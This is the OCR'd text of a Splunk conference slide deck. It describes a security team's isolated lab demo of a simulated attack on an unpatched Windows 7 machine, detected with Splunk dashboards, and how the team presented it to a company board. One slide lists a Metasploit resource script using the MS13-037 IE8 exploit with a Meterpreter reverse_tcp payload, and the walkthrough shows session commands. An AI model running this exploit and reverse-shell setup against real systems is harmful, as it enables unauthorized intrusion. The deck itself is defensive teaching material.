Show The Board The Value Of Your Incident
Response Team —

Detect A Live Attack With Splunk And Knock Their Socks Off! ORI S
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Disclaimer

During the course of this presentation, we may make forward looking statements regarding future
events or the expected performance of the company. We caution you that such statements reflect our
current expectations and estimates based on factors currently known to us and that actual events or
results could differ materially. For important factors that may cause actual results to differ from those
contained in our forward-looking statements, please review our filings with the SEC. The forward-
looking statements made in the this presentation are being made as of the time and date of its live
presentation. If reviewed after its live presentation, this presentation may not contain current or
accurate information. We do not assume any obligation to update any forward looking statements we
may make. In addition, any information about our roadmap outlines our general product direction and is
subject to change at any time without notice. It is for informational purposes only and shall not, be
incorporated into any contract or other commitment. Splunk undertakes no obligation either to develop
the features or functionality described or to include any such feature or functionality in a future release.
If you are still reading — well done.
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Agenda

CISO: “Hey, I've got a great idea — can you brief the board?”
The value to the Security Program of Briefing the board.

Our plan

How you can do what we did
» Create the Network
» Splunk Queries and Dashboards

Demonstration

What we gained
Lessons Learned
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CISO: “Hey, I've Got A Great Idea —
Can You Brief The Board?”
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CISO: “Hey, I've Got A Great Idea — Can You Brief The Board?”

Context
Capital Group
About our board(s)
The board’s “special guest”

i1

CAPITAL =

AMERICAN

GROUP” kel
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Design Goal

“Maintain board support by demonstrating how easy it is for an attacker to gain
access to a corporate network, gather and exfiltrate data then show them how we use
bright people and bright tools to defeat the attacker.”

° splunk> (conf201



The Value, To The Security Program,
Of Briefing The Board

Airtime with the board

Prove the program’s value
Education (bi-directional)
Gaining further support

But the CIO/CISO does that
normally...right?
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Why Choose Technical Teams
To Add Value To Board Meetings:

Validate the CIO/CISO message

Fresh interesting people (ok some of us)
Provides “horse’s mouth” evidence
Provides boards with a chance to check
ClIO/CISO answers

5. Putting technical teams on show,
demonstrates CIO/CISO confidence

6. Hands on Demonstrations

B wnN e
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The Value, To The Security Program,
Of Briefing The Board

The Value, to the Security Program, of Briefing the Board

Airtime with the board.
Prove the program’s value.
Education (bi-directional).
Gaining further support.

But the CIO/CISO does that
normally...right?

5 splunks otz [
. Provides boards with a chance to check %‘i b .
CIO/CISO answers
5. Putting technical teams on show,
demonstrates CIO/CISO confidence
6. Hands on Demonstrations
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The Value, To The Security Program,
Of Briefing The Board

* Airtime with the board.
* Prove the program’s value.
* Education (bi-directional).
* Gaining further support.

But the CIO/CISO does that
normally...right?

T
e TTOVIUES UG UD Wit & CHIEI IS (0 CHECR ~
CIO/CISO answers
5. Putting technical teams on show,
demonstrates ClIO/CISO confidence
6. Hands on Demonstrations
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It could all go badly wrong!
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The Value, To The Security Program,
Of Briefing The Board

The Value, to the Security Program, of Briefing the Board

Preparation
Choose Good people
Have Clear Goals
Mucho CISO review
Contingency plans

Practice, Practice, Practice
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The Build
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Demonstration

A complex attack

ACME Corp, a corporate style (but small)
network

Uses an unpatched vulnerability ACl\’E‘COFD

Based on the Sony malware attack

Could happen to anyone that has an email
inbox
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Sit Back And Enjoy The Show
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Kill Chain

Direction of Attack >

& 4
ACME Corp

External Recon Exploitation Internal Recon Escalation of Gather Data Command and Erase Tracks
Privilege Control
splunk> (conf201



Build Outline

Platform Design (win7x64, vbox)
Network layout (isolated net=external, host-only net=internal)

Splunk device
— Dovecot/webmail & snort IDS (splunk logs via file)

Firewall device (fw rules, splunk logs via syslog)
Victim build (console shared, webcam)

Attacker device (attack script)
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(Virtual) Network Layout

G} Kali xfce Rolling - Settings @@
@ General Network
Separated by Firewall B orem | [+ Lo [ s | i
Display || Enable Network Adapter
. 1 Attached to: |Internal Network >
External: “Internal” network B s . :
P suio st [N
“" | ” k @ Network Adapter Type: top (82540EM) -
: “"Host Only” networ ooy =7 — -
|\ - - - -----"--"-"-~" -~ -~ - - - - @ UsB MAC Address: 08002728FD04 ®
— External Network — — Internal Network [@] Cable Connected
|j Shared Folders -
192.168.10.0/24 10.10.10.0/24 . ] beeieetace |
Q OK ][ Cancel ][ Help ]

= &
ACME Corp

“There’s no Me in ACME”

—d

Virtual Machine
Host
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Virtual Machine Host

Quad Core CPU
16 Gb Memory (minimum)

Virtualization Software:
Oracle Virtual Box

Virtual Machine
Host

File Options View Process Find Users Help

I =R Y N e | — e T L] ]

Process CPU  Private Bytes Wuknng‘ PID Descri bh~ e I MIETO Company Name
£ §¢ VBoxSVC.exe 0.01 14,596 K 18388 K 2932 VitualE 15 3 g ” | Oracle Coporation
= N 1,752 K 1,668 K 2:20:52 PM
£ Ng 2728K 1.808K
0.29 47,236 K 28.836K
ShY) 1.752K 1664 K
= 2728K 1.812K
0.32 47656 K 29,288 K
= \‘.' 1.752K 1664 K
= 2716K 1.800K
0.97 87.112K 68344 K
ShY) 1.748K 1.656 K
= 2716K 1.796 K

1.76 62,584 K 41,856 K
1.840K 1.740K

2716K 1796 K

1.81 62484 K 43496 K
1.752K 1672K

2,708K 1.792K

1.62 80.196 K 59,112K
1.836K 1.740K

2712K 1.788K

2553 113532K 76.636 K

P A — -nni cAanaw canr v OCA 1ot Mmoo Lo VAE_Jd_..o & AR
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Firewall Virtual Machine

Open Source Sense,

GUI Configuration
|
Splunk logs via Syslog Source Address - v

This option will allow the logging da

TURN OFF Bogon Filtering it
NOTE: If an IP address cannot be |

Set NIC Addresses Static S e

This option is only used when a nor
preference; If an IP address of the

All else is default settings

Enable Remote Logging Y Send iy ey s yocl

N O NAT Remote Syslog Servers vl @ 10.10.10.50

r‘j Server 2 @
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Utility Virtual Machine (Webmail)

Ubuntu 14 LAMP
DoveCot IMAP

MTA Local sendmail
AfterLogic Webmail s

Custom email script

........

Ingest mail.log into Splunk

Realism is Sacrificed for Simplicity and Impact
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Utility Virtual Machine (Intrusion Detection)

root@ubuntu:/etc/snort# cat snort.conf

Snort 2.9
I—Ogglng Of Snort Alerts (O Jlla1crt icmp any any -> any any (msg: "ICMP Test": sid: 1000002;)
Splunk Via alert ﬁle output alert fast: /var/log/alert

-------

Used custom detection rules
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Victim Virtual Machine

Windows 7 x86 SP1

DO NOT Apply Any Patches

Set Attacker’s VM IP as Trusted in IE8
Add www.myresume.local to hosts
Stage the User’s Desktop then Snapshot

Tasks for the Victim User during the Demo:
» Change the victim user’s password
» Click on the email link

g Realism is Sacrificed for Simplicity and Impact

22 splunk> (conf201




Attacker Virtual Machine

Kali Linux 2.0

All Attack Automation is done in Metasploit via Resource Scripts (.rc)

use multi/handler

Initial EXplOit VECtOF iS MSl3'O37: set PAYLOAD windows/meterpreter/reverse_ tcp
— Discovered March 06, 2013 ST HosT 1o2.168.40.128
— Windows 7 x86 SP1 running set AutoRunscript migrate -f

run -j
Internet Explorer 8

use exploit/windows/browser/msl3 037 svg_ dashstyle

Minimize Typing/ Maximize Scripts set SRVHOST 1592.168.10.1Z8

set SRVPORT 39000

set URIPATH /
set PAYLOAD windows/meterpreter/reverse tcp
set LHOST 192.168.10.12Z8
{ set LPORT 2002
_ set DisablePayLoadHandler True
=——=1")

exploit
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Utility Virtual Machine (Splunk)

Detecting Firewall Events

sourcetype=pfsense:filterlog 192.168.10.128 action=blocked
Wanted reliable & simple detection

F
(e
g
)
)
0
atl
(]
~t
}
o
3
I
o
o
al
=
4]
o
~t
]
W
=0
wn
o
o
~t
]
rt
m
=}

Last 15 minutes v Q
~ 996 events (8/11/16 9:59:45.000 AM t0 8/11/16 10:14:45.000 AM)

( A L+ B ® Smart Mode ~
Time Event
8/11/16 Aug 11 10:14:37 10.10.10.250 Aug 11 10:14:41 filterlog: 9,16777216,,1000103493,em0,match,block,in,4,0x0, ,254,30945,0,non
10:14:37.000AM e,6,tcp,40,192.168.10.128,192.168.10.250,48471,122,0,S,1641640545, ,1024,,
blocked 192.168.10.250 192.168.10.250 122 firewal main firewall
pfsensefilteriog 192.168.10.128 192.168.10.128 48471 communicate firewa network

tcp
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Utility Virtual Machine (Splunk)

Detecting IDS Events
host=snort (dest port=8080 OR dest port=8888)

Used IDS for more consistent alerting

New Search
host=snort (dest_port=8080 OR dest_port=8888) Last 15 minutes v Q

53 events (8/11/1610:34:35.000 AM t0 8/11/16 10:49:35.000 AM) - b 4
Time Event
8/11/1¢ Au 10:4 2 1 I 49:11 snot t[843] 1 000:1 etasplo e gent i 1
10:49:11 AM ssification Net i 35 detected] [ I 1 {TCP} 2 1 0.2 9 - 2 01288888
1921 2 8888 of an ]| gene e_line
19216 2 39
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Utility Virtual Machine (Splunk)

User firewall logs to generate “active” map hits
Fixed the Lat/Lon for src and dest
Used Custom Visualizations iPew

New Search
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Utility Virtual Machine (Splunk)

K h2>
i earch” class="splunk-manager" data-require="splunkj data-options="{ m
"search": "sourcetype=pfsense:filterlog (src=192.168.10.128 O
eval id=md5(_raw)
eval src_la direction=\"inbound\", 67)
eval src_lon direction=\"inbound\", 20e)
eval dst_lat direction=\"outbound\", 167
eval dst_lon (direction=\"outbound\" 5089 )
table _time id src_ip dest_ip i on dst_lat dst_lon
sort @ -_time",
"earli ": "rt-5m",

<div id="ipew" class="splunk-view" data-require="app/custom_vizs/components/ipew/ipew" data-opticns='{
"managerid": "ipew_search"”
"Queue": 10,
"limit": 7
"stroke_color": "red"

>
:Cer_¥i1e ame": ﬁs{ati:ﬁap:fc iIstom_vizs/components/ipew/null”

| .
o
m

TR

P
</div>

</html>

(/panel>
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Utility Virtual Machine (Splunk)

W an t e d : S‘R .;D miboa[dm —— v e e

. (|
— a Clean Simple User Interface mm“-
— Clear Good/Bad Indicators (green/red) ) | |

— a History of each Attack Phase
— a Feature with a Pop!

Ul View uses:
— Value & Line Panels for each Phase
— Custom Visualizations Splunk App for Map
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File Edit Format View Help

Start Gateway
Add host route
route add 192.168.10.0 wask 255.255.255.0 10.10.10.250
Start Firewall
Start Splunk
Start Snort
Start Squid
ssh splunk
ssh squid
Send new email to victim (if needed!
./sendEmail.sh (from scuid

Clear Splunk Data
./clear-splunk.sh (from splunk!

Enable remote console for victim

Start Victim

Attach Cawera to Victim

Connect Victim Laptop

Unpin RDP

Loginto webmail browser

Trash old email on Victim (if needed

Minimize browser

./ckel.sh
scans firewall
Splunk ckcl fires
play video

./eke2.sh
send email
start msfc

victim change password
victim open email
victim click on email link
session 1 established on 5080/8888
Splunk ckez fires

jobs -K (as soon as session 1 opened]

sessions -i 1

run duplicate -p 7001

background

sleep S

resource start-cke3.rc
session 2 established on 7001
Splunk ckec3 fires
performs arp-scan

...wait for scan to finish

Walkthrough Script

Make sure every step is documented
Do not manually control the attack

Allows focus on dialog

Virtual Machine
Host
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Demonstration
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The Attacker’s Perspective

3

Knows th mpany’
OWS t 2 SRR Knows Objectives and How
Exterior and Own No Knowledge
e to Complete Them
Capabilities

splunk> (conf201




Sit Back and Enjoy the Show
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Simulation — Cyber Kill Chain Phase 1 — External Recon

App: Visusliztion

Kill Chain Phase 1 - External Recon Kill Chain Phase 2 - Exploitation 4~ Escalation of Priv Kill Chain Phase 5 - Gathering Data Kill Chain Phase 6 -Command/Control Kill Chain Phase 7 - Actions on Data Kill Chain Phase 8 - Erase Tracks
KillChain Phase 1 Activity KillChain Phase 2 Activity KillChain Phase 3 Activity KillChain Phase 4 Activity KillChain Phase 5 Activity KillChain Phase 6 Activity KillChain Phase 7 Activity KillChain Phase 8 Activity

2] Kali xfce Rolling (Ready) [Running] - Oracle VM VirtualBox

AP0 =

.Ickel.sh

Artack Map

1# 1 : i Uptime: Oh 27m 3

)
«cli
ktop

Up: 0B KB,
Uploaded: 177KiB

Inbound: 0 Outboun Total: 0
Inbound Local Port

Outbound
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T Dashboard | Splunk
e C A |[310.10.10.50:8000/en-US/app/Test e?earlies Q P
Apps Q@ gateway @ firewall |Ed SIRT Dashboard

SIRT Dashboard

Moeioo v | | £ | &
Kill Chain Phase 1 - Extemal Recon Kill Chain Phase 2 - Exploitation

Kill Chain Phase 3 - Intemal Recon Kill Chain Phase 4 - Escalation of Priv Kill Chain Phase 5 - Gathering Data Kill Chain Phase 6 -Command/Control Kill Chain Phase 7 - Actions on Data. Kill Chain Phase 8 - Erase Tracks
Kilfchﬂln Phase 1 Activity KillChain Phase 2 Activity KillChain Phase 3 Activity KVIHChﬂm Phase 4 Activity KillChain Phase 5 Activity KillChain Phase 6 Activity KillChain Phase 7 Activity KV\"CIN\IVI Phase 8 Activity
Attack Map | V ‘

\N-mRPA®zO=
> .Jcke2.sh

root:

6.416iB/ 18.7GiB

o

B KB/s Up: KB/S
saded: 3.76HiB Uploaded: 6.29HiB

w: 0 Outbound: 0 Total: 0
“hd Local Port ‘
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[El SIRT Dashboard | Splunk Uil Eogin | Spltink x
€« C A | [)10.10.10.50:8000/en-US/app/Test e 3 = a
3 Apps @@ gateway @ﬁman Bl SIRT Dashboard

Simulation — C ber Kill Chain Phase 3 — Internal Recon

SIRT Da

board

Kill Chain Phase 1 - Extemal Recon

Moeioo v | | £ | &
Kill Chain Phase 2 - Exploitation Kill Chain Phase 3 - Intemal Recon Kill Chain Phase 4 - Escalation of Priv Kill Chain Phase 5 - Gathering Data Kill Chain Phase 6 -C d/Control 7- - Erase Tracks
KillChain Phase 1 Activity KillChain Phase 2 Activity KillChain Phase 3 Activity KillChain Phase 4 Activity KillChain Phase 5 Activity KillChain Phase 6 Activity KillChain Phase 7 Activity KillChain Phase 8 Activity
|
|
- Kl s s s - s

Attack Map

] Kali xfce Rolling (Ready) [Running] - Oracle VM VirtualBox

0 root 11

Uptine: 20h 3n

Load: 0.07, 0.11, 0.11
cpuo: 1 cPUL: 1
Using nt
ending HTH Lt
2.1

aging Nat
ret

X 4 6.416iB/ 18.7GiB
Using nt R -
ending H

Up:
saded: 3.87HiB Uploaded:

: 5 Outbound: 4
d
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ashboard | Splunk X

Simulation — Cyber Kill Chain Phase 4 — Escalation of Privilege

e C A |[310.10.10.50:8000/en-US/app/Test e?earliest= a P
Apps Q@ gateway @ firewall |Ed SIRT Dashboard

SIRT Dashboard

oo~ | [+ ] &
il Chein Phase 1 - Extemal Recon KillChein Phase 2 - Exploftation Kl Chein Phase 3- Intemel Recon il Chein Phase 4 - Escalation of Priv KillChain Phase § - Gathering Data il Chain Phase § -Command/C ~Erase Tracks
Kilfchmn Phase 1 Activity f\\lthmn Phase 2 Activity f(\l\CMln Phase 3 Activity Krli\thum Phase 4 Actvity Killchain Phase § Activity VKII\Chnm Phase 6 Activity KilChain Phase 7 Activity xjuchmn Phase 8 Activity
t | o | = :‘w - > ; ’ g =- .
Attack Map

] Kali xfce Rolling (Ready) [Running] - Oracle VM VirtualBox

h an 47s
ing ar

Running payl 0.09, 0.10

6.416iB/ 18.7GiB

2 Up: B/s
saded: 3.99HiB Uploaded: 10.3HiB

d: 7 Outbound: 5
)
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it cC o

(9 10.10.10.50:

ay @ firewall |EJ SIRT Dashboard

SIRT Dashboard

Kill Chain Phase 1 - Extemal Recon

KillChain Phase 1 Activity

Attack Map

Kill Chain Phase 2 - Exploitation

KillChain Phase 2 Activity

Kill Chain Phase 3 - Intemal Recon

273

KillChain Phase 3 Activity

s an

Kill Chain Phase 4 - Escalation of Priv

74

KillChain Phase 4 Activity

Kill Chain Phase 5 - Gathering Data

Kill Chain Phase 6 -C

e

Moeioo v | | £ | &

- Erase Tracks

KillChain Phase 5 Activity

KillChain Phase 6 Activity

KillChain Phase 7 Activity

KillChain Phase 8 Activity

ipt 'multi_
) Command
Running comman
tem )
mman

ad mim;

min)

Uptime: 20h Sn 43s

0.11, 0.10, 0.11
PUO: 1:

6.416iB/ 18.7GiB

2588 KB/s Up:

saded: 4.17HiB

Outbound: 5

Uploaded: 12.8HiB

918
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Simulation — Cyber Kill Chain Phase 7 — Actions

C # | [}10.10.10.50:
Apps Q@ gateway @ firewall [EJ SIRT Dashboard

SIRT Dashboard

v | Morelnfo v + &
Kill Chain Phase 1 - External Recon Kill Chain Phase 2 - Exploitation Kill Chain Phase 3 - Intemal Recon Kill Chain Phase 4 - Escalation of Priv Kill Chain Phase 5 - Gathering Data Kill Chain Phase 6 -C d/C 4 *-. - Erase Tracks
KillChain Phase 1 Activity KillChain Phase 2 Activity KillChain Phase 3 Activity KillChain Phase 4 Activity KillChain Phase 5 Activity KillChain Phase 6 Activity KillChain Phase 7 Activity KillChain Phase 8 Activity
i | iy . | 5 [ | |
& ‘ Il | | ‘ | |
! | | | |
p | | | 2 | 1 6 .
5 | | 2 | | |
%0 | - | -- | o | | L] -- o %
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Simulation — Cyber Kill Ch
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Endstate
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Impact Statement

An Average Month . Monthly Trends
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Important Considerations

The board are not technical — at all

Key requirement: risk to your company
Be specific about what data or devices are at risk
A picture paints 1000 words

Don’t over do it —aim for ‘pleasantly terrified’

The board should know Cyber Risk is concerning but the CISO/CIO
have it covered
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Lessons Learned

There may be one or two technical Jedi on the board — indulge them
If something can go wrong, it will go wrong. (Telephone)

Leave enough time for questions — interruptions happen

If you use a volunteer — give very clear instructions

Practice in the room well before the big day

Practice, Practice, Practice
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Outcome

A ha moment

Awareness of Information Security
Issues

Understanding of how we use
Splunk

Taking the message outside
Growth of SIRT team

Subsequent brief requests
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Questions

(this blog is not affiliated with Capital Group)

More information on the build can be found at: https://www.chaoticsecurity.com/splunk-conf-2016/
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